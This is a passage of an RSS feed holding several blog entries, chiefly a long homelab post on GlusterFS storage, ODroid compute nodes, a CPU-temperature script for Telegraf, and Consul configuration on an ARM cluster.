&lt;/ul&gt;</description><author>Liza Shulyayeva</author><pubDate>Tue, 14 Aug 2018 14:18:19 GMT</pubDate><guid isPermaLink="true">https://liza.io/microposts/uac-notes/</guid></item><item><title>Staple Remover Obsession</title><link>https://liza.io/microposts/staple-remover-obsession/</link><description>&lt;p&gt;Do we really need to know about Randy&amp;rsquo;s young-age staple remover obsession?&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Tue, 14 Aug 2018 09:53:52 GMT</pubDate><guid isPermaLink="true">https://liza.io/microposts/staple-remover-obsession/</guid></item><item><title>Créer un blog avec Hugo, Emacs et ox-hugo</title><link>/post/2018/08/14/cr%C3%A9er-un-blog-avec-hugo-emacs-et-ox-hugo/</link><description>&lt;h2 id="pré-requis"&gt;Pré-requis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.gnu.org/software/emacs/"&gt;Emacs&lt;/a&gt;, avec les plugins &lt;a href="https://orgmode.org/"&gt;org-mode&lt;/a&gt; et &lt;a href="https://github.com/jwiegley/use-package"&gt;use-package&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;une instance &lt;a href="https://gohugo.io"&gt;hugo&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ox-hugo"&gt;ox-hugo&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/kaushalmodi/ox-hugo"&gt;ox-hugo&lt;/a&gt; est un plugin permettant l&amp;rsquo;export d&amp;rsquo;item org-mode vers un blog hugo.&lt;/p&gt;
&lt;h2 id="installation-d-ox-hugo"&gt;Installation d&amp;rsquo;ox-hugo&lt;/h2&gt;
&lt;p&gt;Ajoutez à votre fichier de configuration emacs (.emacs.d/init.el par exemple) l&amp;rsquo;instruction use-package suivante :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-emacs-lisp"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; (use-package ox-hugo
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; :ensure &lt;span style="color: #66d9ef;"&gt;t&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt; :after ox)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Une fois ox-hugo installé, les fonctions d&amp;rsquo;exports vers une instance d&amp;rsquo;hugo seront proposées dans le menu d&amp;rsquo;exports d&amp;rsquo;org-mode.&lt;/p&gt;
&lt;figure&gt;&lt;img src="/images/menu_ox_hugo.png" /&gt;
&lt;/figure&gt;

&lt;h2 id="utilisation"&gt;Utilisation&lt;/h2&gt;
&lt;p&gt;Deux modes de publication sont proposés, l&amp;rsquo;un utilisant un fichier org-mode pour chaque post, l&amp;rsquo;autre utilisant un fichier global.&lt;/p&gt;</description><author>Accueil on dbeley</author><pubDate>Tue, 14 Aug 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">/post/2018/08/14/cr%C3%A9er-un-blog-avec-hugo-emacs-et-ox-hugo/</guid></item><item><title>Fetchr Data Science Infra at 1 year</title><link>https://bytepawn.com/fetchr-data-science-infra.html</link><description>&lt;p&gt;A description of our Analytics+ML cluster running on AWS, using Presto, Airflow and Superset.&lt;br /&gt;&lt;br /&gt;&lt;img alt="Fetchr Data Science Infra" src="/images/fetchr-data-science-infra-update.png" style="width: 400px;" /&gt;&lt;/p&gt;</description><author>Bytepawn - Marton Trencseni</author><pubDate>Tue, 14 Aug 2018 01:00:00 GMT</pubDate><guid isPermaLink="true">https://bytepawn.com/fetchr-data-science-infra.html</guid></item><item><title>Going Completely Overboard with a Clustered Homelab</title><link>https://blog.tjll.net/distributed-homelab-cluster/</link><description>&lt;p&gt;
A few months ago &lt;a href="https://blog.tjll.net/building-my-perfect-router/"&gt;I rebuilt my router on an espressobin&lt;/a&gt; and got the itch to overhaul the rest of my homelab.
While I could pick up some post-market AmaFaceGooSoft equipment for a typical high-power x86 lab, I decided to put the devops mantra of a distributed, fault-tolerant architecture to work and see how far I could get with lots of small, cheap, low-power machines instead.
&lt;/p&gt;

&lt;p&gt;
In a nutshell, I'm running ~20 ARM-based single-board computer cluster that drives a container-scheduled application runtime (&lt;a href="https://www.nomadproject.io/"&gt;Nomad&lt;/a&gt;) backed by distributed storage (&lt;a href="https://www.gluster.org/"&gt;GlusterFS&lt;/a&gt;) with service discovery in place (&lt;a href="https://www.consul.io/"&gt;Consul&lt;/a&gt;) to provide me with a platform to run all my applications and services with a mostly self-configured HTTPS (Let's Encrypt) front end (&lt;a href="https://traefik.io/"&gt;Traefik&lt;/a&gt;).
Vault, Prometheus, and a bunch of supporting applications are also deployed in order to make operating this setup secure, easy, and eminently scalable.
&lt;/p&gt;

&lt;hr /&gt;

&lt;p class="note"&gt;
I've diverged from this architecture since time of writing (2018). See &lt;a href="https://blog.tjll.net/too-simple-to-fail-nomad-caddy-wireguard/"&gt;this post&lt;/a&gt; with some updates; which are mostly replacing Traefik with consul-template, adding a wireguard mesh, and migrating to ODroid HC4 machines for 64-bit support.
&lt;/p&gt;


&lt;div class="figure" id="org3605bd2"&gt;
&lt;p&gt;&lt;img alt="homelab_diagram.png" class="mainline" src="../assets/images/homelab_diagram.png" /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span class="figure-number"&gt;Figure 1: &lt;/span&gt;Do you like my homemade diagram?&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;
I kept meaning to blog about this when I finished each piece but ended up with the novel you see before you, so while I've written up my journey in order of each system's dependencies, there's a lot to digest here - but don't let that dissuade you.
It's a really fun setup - who &lt;i&gt;doesn't&lt;/i&gt; want to config-manage a dozen machines and services in their spare time??? (probably quite a few people)
&lt;/p&gt;

&lt;p class="note"&gt;
&lt;b&gt;Note&lt;/b&gt;: Some have caught that &lt;a class="note" href="https://github.com/gluster/glusterfs/issues/702"&gt;the Gluster project has planned to drop support for 32-bit platforms&lt;/a&gt;.
If you're planning on building something similar to what I describe in this post, tread carefully - I've already had numerous problems with GlusterFS 7.0, so test and verify your setup.
Thank you to &lt;a href="https://old.reddit.com/user/legogris"&gt;/u/legogris&lt;/a&gt; for catching that.
&lt;/p&gt;

&lt;hr /&gt;

&lt;div id="table-of-contents"&gt;
&lt;h4&gt;Table of Contents&lt;/h4&gt;
&lt;div id="text-table-of-contents"&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#preface"&gt;Preface&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#part-1-backing-services"&gt;Part 1 - Backing Services&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#persistent-storage"&gt;Persistent Storage&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#compute-hardware"&gt;Compute Hardware&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#network-consensus-and-service-discovery"&gt;Network Consensus and Service Discovery&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#secret-management"&gt;Secret Management&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="#part-2-the-runtime"&gt;Part 2 - The Runtime&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#the-scheduler"&gt;The Scheduler&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#exposing-applications"&gt;Exposing Applications&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="#part-3-using-it"&gt;Part 3 - Using It&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#prelude-a-private-registry"&gt;Prelude - A Private Registry&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="#deploying-bitwarden"&gt;Deploying Bitwarden&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="#summary"&gt;Summary&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="#synopsis-and-future-work"&gt;Synopsis and Future Work&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-preface"&gt;
&lt;h4 id="preface"&gt;Preface&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-preface"&gt;
&lt;p&gt;
Before I dig in, for any fellow SREs/DevOps folks: I wouldn't consider this a reference architecture or even a &lt;i&gt;recommended&lt;/i&gt; approach to achieve what I've built.
For example, the fact I have four hosts backing my network attached storage is probably &lt;i&gt;more&lt;/i&gt; risky than relying on a single host's inventory of hardware when I could ostensibly fit everything I have on a RAIDZ pool with 8TB disks - Gluster is probably strictly more "correct" for a vastly larger infrastructure.
Despite that fact, there's some worthwhile tidbits in here, and maybe I &lt;i&gt;can&lt;/i&gt; steer you towards some solutions that may work elsewhere.
Many aspects of what I've built actually work quite well, and would probably scale to larger deployments.
&lt;/p&gt;

&lt;p&gt;
In addition, some notes here to keep in mind while reading:
&lt;/p&gt;
&lt;ul class="org-ul"&gt;
&lt;li&gt;I use &lt;code&gt;example.com&lt;/code&gt; in place of my real personal domain I like to use for my LAN. In practice, I suggest delegating a subdomain to your LAN for things like this so that it's easy to use real domain names both inside and outside your network if necessary using some different DNS rules for resolving hosts in that domain inside and outside the network (I use the &lt;code&gt;lan&lt;/code&gt; subdomain, personally).&lt;/li&gt;
&lt;li&gt;I don't dive into security too much in this post. If this inspires you to build a similar stack, pay careful attention to how you're managing authorization in many of these cases (Consul access, using Vault for secrets, PKI with GlusterFS, etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-4" id="outline-container-part-1-backing-services"&gt;
&lt;h4 id="part-1-backing-services"&gt;Part 1 - Backing Services&lt;/h4&gt;
&lt;div class="outline-text-4" id="text-part-1-backing-services"&gt;
&lt;p&gt;
First, I need to cover some of the infrastructure I built to support the higher-level services I'm running in the homelab.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-persistent-storage"&gt;
&lt;h5 id="persistent-storage"&gt;Persistent Storage&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-persistent-storage"&gt;
&lt;p&gt;
This piece was originally meant to be a section of its own.
After &lt;i&gt;many&lt;/i&gt; years of faithful service, my venerable &lt;a href="http://n40l.wikia.com/wiki/HP_MicroServer_N40L_Wiki"&gt;HP N40L&lt;/a&gt; started to creak under the load of dozens of services and applications I had loaded on it.
&lt;/p&gt;

&lt;p&gt;
The primary storage mechanism on that NAS is a ZFS RAIDZ, and to be clear: my perspective is that ZFS on Linux is still the king of reliable, stable storage on Linux at the moment.
Scrubbing, snapshots, and send/receive have been massively useful in a very real, applicable way.
However, I wanted to try a distributed filesystem this time for a few reasons:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;Experimentation, purely to try something new out (it's homelab, that's what it's for)&lt;/li&gt;
&lt;li&gt;When expanding my storage pool, I'd like to avoid rebuilding it. Adding a disk to a RAIDZ pool is a little inflexible, so if I can add storage incrementally as necessary, that'd be a big win&lt;/li&gt;
&lt;li&gt;I'd like to be able to perform maintenance (kernel updates, package upgrades, etc.) on nodes without downtime. Running a distributed filesystem means I can perform rolling restarts without losing access to my storage volume(s)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
The two main contenders in this space are &lt;a href="https://ceph.com/"&gt;Ceph&lt;/a&gt; and &lt;a href="https://www.gluster.org/"&gt;GlusterFS&lt;/a&gt;.
This article isn't about a Ceph vs. GlusterFS comparison, so here's a slimmed-down list of why I opted for GlusterFS:
&lt;/p&gt;

&lt;ul class="org-ul"&gt;
&lt;li&gt;The underlying file objects are plain, recognizable files. That is, you can log in to a cluster peer, navigate to a brick for the volume you're interested in, and the files allocated to that peer aren't encoded in any special way and could potentially be recovered in a seriously bad disaster recovery scenario. Note that this &lt;i&gt;doesn't&lt;/i&gt; hold if you're using disperse volumes (files will be erasure-encoded)&lt;/li&gt;
&lt;li&gt;GlusterFS is &lt;i&gt;dramatically&lt;/i&gt; more simple than Ceph. Ceph has improved their story with &lt;a href="http://docs.ceph.com/docs/mimic/start/quick-ceph-deploy/"&gt;ceph-deploy&lt;/a&gt;, which is great addition, but for a relatively straightforward environment like a small-scale personal network, I just want a POSIX-like filesystem I can mount somewhere, and GlusterFS achieves that in a couple of stock, vanilla commands&lt;/li&gt;
&lt;li&gt;My desired capability to expand volumes incrementally without rebuilding the storage group is possible with distributed replicated volumes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
I'd note here that shortly after completing my setup, &lt;a href="https://www.reddit.com/r/DataHoarder/comments/8ocjxz/200tb_glusterfs_odroid_hc2_build/"&gt;an intrepid Redditor blogged about a similar Gluster+ODroid build&lt;/a&gt;.
If this writeup interests you, I'd recommend reading his summary as well.
&lt;/p&gt;
&lt;/div&gt;
&lt;div class="outline-6" id="outline-container-hardware"&gt;
&lt;h6 id="hardware"&gt;Hardware&lt;/h6&gt;
&lt;div class="outline-text-6" id="text-orga97cede"&gt;
&lt;p&gt;
This was the fun part: when I was looking into a NAS rebuild initially, I checked out some hardware suited for a large, single-host storage machine.
In a distributed storage setup, I could instead buy lots of little hosts to bind together cheap storage and cheap hosts so that expansion is affordable and hardware failure isn't a big deal.
&lt;/p&gt;


&lt;div class="figure" id="orge6fbd6d"&gt;
&lt;p&gt;&lt;img alt="hc2_closeup.jpg" class="mainline" src="../assets/images/hc2_closeup.jpg" /&gt;
&lt;/p&gt;
&lt;p&gt;&lt;span class="figure-number"&gt;Figure 2: &lt;/span&gt;Close-up of the ODroid HC2&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;
Let me introduce you to the &lt;a href="https://www.hardkernel.com/main/products/prdt_info.php?g_code=G151505170472"&gt;ODroid HC2&lt;/a&gt;.
The hardware is purpose-built for low-cost storage clustering: the &lt;i&gt;entire machine&lt;/i&gt; is one big heatsink and essentially just a way to make a spinning disk available over a network (the aluminum case is also stackable, so they cluster easily physically as well).
In essence the board is a modified ODroid XU4, so you need to run the machine with a Linux distribution built for the armv7 architecture.
&lt;/p&gt;

&lt;p&gt;
Over the course of the months I've used these boards, they've been very reliable - their NICs are performant, no crashes, and they pack more than enough power to drive Gluster with the specs of the XU4 (in fact, they're so powerful I run fully-loaded Elasticsearch data nodes &lt;i&gt;alongside&lt;/i&gt; Gluster without any problems, but that's another blog post).
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-6" id="outline-container-installation"&gt;
&lt;h6 id="installation"&gt;Installation&lt;/h6&gt;
&lt;div class="outline-text-6" id="text-orgcc78b0d"&gt;
&lt;p&gt;
I built a 4-node cluster on &lt;a href="https://archlinuxarm.org/"&gt;Arch Linux ARM&lt;/a&gt;.
I use Arch since I'm most familiar with it and know how to package for it easily, but in this and other ARM SBC cases, I think &lt;a href="https://www.armbian.com/"&gt;Armbian&lt;/a&gt; is a great choice as well.
&lt;/p&gt;

&lt;p&gt;
I mentioned simplicity with Gluster, and this is how to peer each node.
This is what I ran from my &lt;code&gt;codex01&lt;/code&gt; host, and used similar commands from the other nodes in the storage cluster.
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;gluster peer probe codex&lt;span class="org-rainbow-delimiters-depth-1"&gt;{&lt;/span&gt;02..03&lt;span class="org-rainbow-delimiters-depth-1"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Then you can check the clustered state:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;gluster peer status&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
Before creating any volumes, mount your SATA-connected drive somewhere that you can consume in a Gluster brick.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-6" id="outline-container-configuration"&gt;
&lt;h6 id="configuration"&gt;Configuration&lt;/h6&gt;
&lt;div class="outline-text-6" id="text-orgb4a37cd"&gt;
&lt;p&gt;
So here's some experience that bears repeating with GlusterFS: although disperse volumes are a slightly more sophisticated method of pooling storage resources, they have problems.
The aforementioned other Reddit user &lt;a href="https://old.reddit.com/r/DataHoarder/comments/8ocjxz/200tb_glusterfs_odroid_hc2_build/e03vi51/"&gt;confirmed similar problems&lt;/a&gt; I observed with disperse volume behavior.
Despite &lt;a href="https://bugzilla.redhat.com/show_bug.cgi?id=1576927"&gt;reporting this bug upstream&lt;/a&gt;, it was closed as apparently the Gluster policy is to aggressively close bugs in the event of new releases, so I'm mildly concerned about the sustainability and stability of the Gluster ecosystem in general.
&lt;/p&gt;

&lt;p&gt;
Despite my bad experience with disperse volumes, distributed replicated volumes have been a better experience.
I went with a 2+1 setup, so I can expand my storage nodes in increments of 2 (plus one &lt;a href="https://gluster.readthedocs.io/en/latest/Administrator%20Guide/Setting%20Up%20Volumes/#arbiter-configuration-for-replica-volumes"&gt;arbiter&lt;/a&gt;).
My arbiters are other random ARM SBCs I have on my LAN that serve miscellaneous purposes but aren't pure storage nodes, if you don't have that luxury you can always go with a different distributed replicated topology with more storage nodes.
&lt;/p&gt;

&lt;p&gt;
Again, using Gluster for its simplicity pays off here:
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;gluster volume create &amp;lt;volume-name&amp;gt; replica 3 arbiter 1 &lt;span class="org-sh-escaped-newline"&gt;\&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    brick01:/srv/storage/&amp;lt;volume-brick&amp;gt; &lt;span class="org-sh-escaped-newline"&gt;\&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    brick02:/srv/storage/&amp;lt;volume-brick&amp;gt; &lt;span class="org-sh-escaped-newline"&gt;\&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    arbiter01:/srv/storage/&amp;lt;volume-brick&amp;gt; &lt;span class="org-sh-escaped-newline"&gt;\&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    brick03:/srv/storage/&amp;lt;volume-brick&amp;gt; &lt;span class="org-sh-escaped-newline"&gt;\&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    brick04:/srv/storage/&amp;lt;volume-brick&amp;gt; &lt;span class="org-sh-escaped-newline"&gt;\&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    arbiter02:/srv/storage/&amp;lt;volume-brick&amp;gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
This allocates the actual storage onto the &lt;code&gt;brick&lt;/code&gt; nodes and purely cluster-consensus metadata to the &lt;code&gt;arbiter&lt;/code&gt; nodes.
In this example cluster, &lt;code&gt;brick01&lt;/code&gt; and &lt;code&gt;brick03&lt;/code&gt; can become unavailable with no downtime, but &lt;code&gt;brick01&lt;/code&gt; and &lt;code&gt;brick02&lt;/code&gt; simultaneous faults &lt;i&gt;will&lt;/i&gt; cause the files in their charge to disappear.
This means that I &lt;i&gt;sort&lt;/i&gt; of have tolerance for 50% failure, but from what I've seen, you don't want to gamble with disperse volumes - it's an even worse experience.
&lt;/p&gt;

&lt;p&gt;
The other step you should take in this setup is to enable bitrot scrubbing, which will help keep the volume healthy for you (this is enabled on a per-volume basis):
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;shell&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-shell"&gt;&lt;code&gt;&lt;code&gt;gluster volume bitrot &amp;lt;volume-name&amp;gt; enable&lt;/code&gt;
&lt;code&gt;gluster volume status &amp;lt;volume-name&amp;gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
That last command returns some important information you should keep an eye on like the status of the auto self-heal daemon, which will ensure that your files are in a consistent, healthy state.
&lt;/p&gt;

&lt;p&gt;
So! At this point, I've got a network volume I can mount on multiple hosts, backed by multiple machines with a degree of fault tolerance.
Distributed and replicated persistent storage in the homelab: check.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-compute-hardware"&gt;
&lt;h5 id="compute-hardware"&gt;Compute Hardware&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-compute-hardware"&gt;
&lt;p&gt;
As I mentioned, a collection of ODroid HC2s are running my Gluster storage cluster.
What about the compute nodes that'll run the compute-heavy Nomad workloads?
&lt;/p&gt;

&lt;p&gt;
Whereas the &lt;a href="https://www.hardkernel.com/main/products/prdt_info.php?g_code=G151505170472"&gt;HC2&lt;/a&gt; is designed as a mass storage node, the ODroid &lt;a href="https://www.hardkernel.com/main/products/prdt_info.php?g_code=G150152508314"&gt;MC1&lt;/a&gt; is the compute counterpart: with just an SD slot to drive the OS and no SATA interface, it isn't built to house gobs of data, but is moreso a compact compute cluster.
A built-in fan fastened to the aluminum housing means that you can drive the boards relatively intensely, and like the HC2, they're completely headless (no HDMI ports here, though you can use a USB serial cable to check the hardware console).
&lt;/p&gt;

&lt;p&gt;
There actually isn't much to say here: install your ARM distro of choice onto an SD card, repeat for each node, and load it up.
At that point you're ready for the next steps for each compute node (Consul, Nomad, and so on).
Some additional packages are necessary to support executing the workloads as well, like Docker, and you'll need your distribution's Gluster package to mount volumes that your workloads might need.
&lt;/p&gt;

&lt;p&gt;
One item of note is that, if you're like me, you like to keep the metrics for your machines highly visible, and that means pulling in system stats for collection and monitoring.
The systems I experimented with (ganglia, Telegraf, a few others) get most of the story, but my MC1 nodes expose some additional data for CPU temperatures under &lt;code&gt;/sys&lt;/code&gt;, so I use the following script as an &lt;code&gt;exec&lt;/code&gt; input to Telegraf to watch each CPU core's temperature under load.
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;Shell-script&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-builtin"&gt;Font used to highlight builtins.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-string"&gt;Font used to highlight strings.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-variable-name"&gt;Font used to highlight variable names.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-keyword"&gt;Font used to highlight keywords.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-comment"&gt;Font used to highlight comments.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-sh"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-comment-delimiter"&gt;#&lt;/span&gt;&lt;span class="org-comment"&gt;!/usr/bin/&lt;/span&gt;&lt;span class="org-keyword"&gt;env&lt;/span&gt;&lt;span class="org-comment"&gt; sh&lt;/code&gt;
&lt;code&gt;&lt;/span&gt;&lt;span class="org-keyword"&gt;for&lt;/span&gt; thermal_zone&lt;span class="org-keyword"&gt; in&lt;/span&gt; /sys/class/thermal/thermal_zone*&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;do&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-variable-name"&gt;cpu_id&lt;/span&gt;=$&lt;span class="org-rainbow-delimiters-depth-1"&gt;{&lt;/span&gt;&lt;span class="org-variable-name"&gt;thermal_zone&lt;/span&gt;##*thermal_zone&lt;span class="org-rainbow-delimiters-depth-1"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-variable-name"&gt;temp&lt;/span&gt;=&lt;span class="org-string"&gt;"$(echo $(cat $thermal_zone/temp)/1000 | bc -l | xargs printf '%.2f\n')"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-builtin"&gt;echo&lt;/span&gt; &lt;span class="org-string"&gt;"cpu_temperature,cpu=cpu${cpu_id} celsius=${temp}"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-keyword"&gt;done&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
I use these metrics as part of a greater overall monitoring strategy with Telegraf, Prometheus, and Grafana.
Metrics like this that are directly impacted by load are useful to help tune Nomad allocation resources later on when you need to gauge exactly how much CPU and memory to carve out for an application container.
&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="outline-5" id="outline-container-network-consensus-and-service-discovery"&gt;
&lt;h5 id="network-consensus-and-service-discovery"&gt;Network Consensus and Service Discovery&lt;/h5&gt;
&lt;div class="outline-text-5" id="text-network-consensus-and-service-discovery"&gt;
&lt;p&gt;
In order to operate a system that can dynamically scale and run workloads on arbitrary hosts, you're gonna need both a) a way to discover and hit those services, and b) almost certainly some sort of consensus algorithm in the mix.
My day job has healthy dose of Kubernetes, which achieves this with a) Kubernetes' service abstraction, and b) etcd.
Because I wanted to build my setup atop Nomad, &lt;a href="https://www.consul.io/"&gt;Consul&lt;/a&gt; seemed like an ideal choice for this, as it handles both and fits &lt;i&gt;very&lt;/i&gt; closely with Nomad.
&lt;/p&gt;

&lt;p&gt;
If you haven't tinkered with Consul lately, the landscape has become very operator-friendly.
My distro of choice, Arch Linux ARM, &lt;a href="https://github.com/archlinuxarm/PKGBUILDs/tree/master/community/consul"&gt;ships an ARMv7 package&lt;/a&gt;, and setup isn't bad.
If you go for a typical three-server setup for quorum and deploy clients everywhere else, it's a pretty resilient topology, which is what I did.
&lt;/p&gt;

&lt;p&gt;
For the sake of completeness, here's my consul server configuration json for an example host (i.e., the host that &lt;i&gt;isn't&lt;/i&gt; farnsworth or curie):
&lt;/p&gt;

&lt;span class="org-src-tab"&gt;&lt;span&gt;JSON&lt;/span&gt;&lt;/span&gt;&lt;div class="org-src-legend"&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="org-constant"&gt;Font used to highlight constants and labels.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-string"&gt;Font used to highlight strings.&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span class="org-keyword"&gt;Font used to highlight keywords.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div class="org-src-container"&gt;
&lt;pre class="src src-json"&gt;&lt;code&gt;&lt;code&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;{&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"advertise_addr"&lt;/span&gt;: &lt;span class="org-string"&gt;"{{ GetInterfaceIP }} \"eth0\""&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"bind_addr"&lt;/span&gt;: &lt;span class="org-string"&gt;"0.0.0.0"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"bootstrap_expect"&lt;/span&gt;: &lt;span class="org-constant"&gt;3&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"client_addr"&lt;/span&gt;: &lt;span class="org-string"&gt;"127.0.0.1 {{ GetInterfaceIP }} \"docker0\""&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"data_dir"&lt;/span&gt;: &lt;span class="org-string"&gt;"/var/lib/consul"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"datacenter"&lt;/span&gt;: &lt;span class="org-string"&gt;"lan"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"disable_update_check"&lt;/span&gt;: &lt;span class="org-constant"&gt;true&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"log_level"&lt;/span&gt;: &lt;span class="org-string"&gt;"INFO"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"retry_join"&lt;/span&gt;: &lt;span class="org-rainbow-delimiters-depth-2"&gt;[&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"farnsworth"&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;        &lt;span class="org-string"&gt;"curie"&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-rainbow-delimiters-depth-2"&gt;]&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"server"&lt;/span&gt;: &lt;span class="org-constant"&gt;true&lt;/span&gt;,&lt;/code&gt;
&lt;code&gt;    &lt;span class="org-keyword"&gt;"ui"&lt;/span&gt;: &lt;span class="org-constant"&gt;true&lt;/span&gt;&lt;/code&gt;
&lt;code&gt;&lt;span class="org-rainbow-delimiters-depth-1"&gt;}&lt;/span&gt;&lt;/code&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;
First of all, serious love to Hashicorp for supporting golang template interpolation to dynamically set IP address, it's a really wonderful idea.
